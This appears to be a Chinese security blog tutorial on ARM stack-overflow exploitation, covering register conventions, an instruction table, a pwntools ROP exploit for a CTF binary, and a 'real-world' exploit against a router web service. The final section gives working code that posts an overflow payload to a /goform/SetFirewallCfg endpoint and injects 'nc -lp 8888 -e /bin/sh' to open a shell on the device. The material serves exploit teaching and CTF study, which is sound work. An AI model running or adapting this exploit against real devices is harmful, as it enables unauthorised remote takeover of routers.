•R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果 •在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 •R7寄存器在函数调用中负责存储系统调用号 •R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 •R13寄存器SP(堆栈指针)指向堆栈的顶部 •R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数) •R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。

|
指令 |
功能 |
指令 |
功能 |
|
MOV |
移动数据 |
EOR |
按位异或 |
|
MVN |
移动数据并取反 |
LDR |
加载 |
|
ADD |
加法 |
STR |
存储 |
|
SUB |
减法 |
LDM |
加载多个 |
|
MUL |
乘法 |
STM |
存储多个 |
|
LSL |
逻辑左移 |
PUSH |
入栈 |
|
LSR |
逻辑右移 |
POP |
出栈 |
|
ASR |
算术右移 |
B |
跳转 |
|
ROR |
右旋 |
BL |
Link+跳转 |
|
CMP |
比较 |
BX |
分支跳转 |
|
AND |
按位与 |
BLX |
Linx+分支跳转 |
|
ORR |
按位或 |
SWI/SVC |
系统调用 |
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo
amalll@A-M:~/AM$ checksec pwn [*] '/home/amalll/AM/pwn' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) amalll@A-M:~/AM$ file pwn pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn


0x00020904: pop {r0, r4, pc};
EXP
from pwn import *p = process(['qemu-arm-static',"-L", "./", "./pwn"])pop_r0_r4_pc = 0x00020904system = 0x000110B4sh = 0x006C384payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)p.sendafter("Input ~ if you want to quit", "\n")p.send(payload)p.interactive()
四、实战演示



与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以x00结尾

凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requestsfrom pwn import *url = 'http://192.168.2.1/goform/SetFirewallCfg'libc = ELF("./lib/libc.so.0")base = 0xff592000system = base+libc.sym['system']pop_r0_pc = base+0x0003db80 # pop {r0, pc};stack = 0xfffef2c0pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)pl+= 'nc -lp 8888 -e /bin/sh;\x00'data = {'firewallEn':pl}requests.post(url, data=data)


五、参考链接
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7 https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/
https://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75
本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/183868.html
必填 您当前尚未登录。 登录? 注册
必填(保密)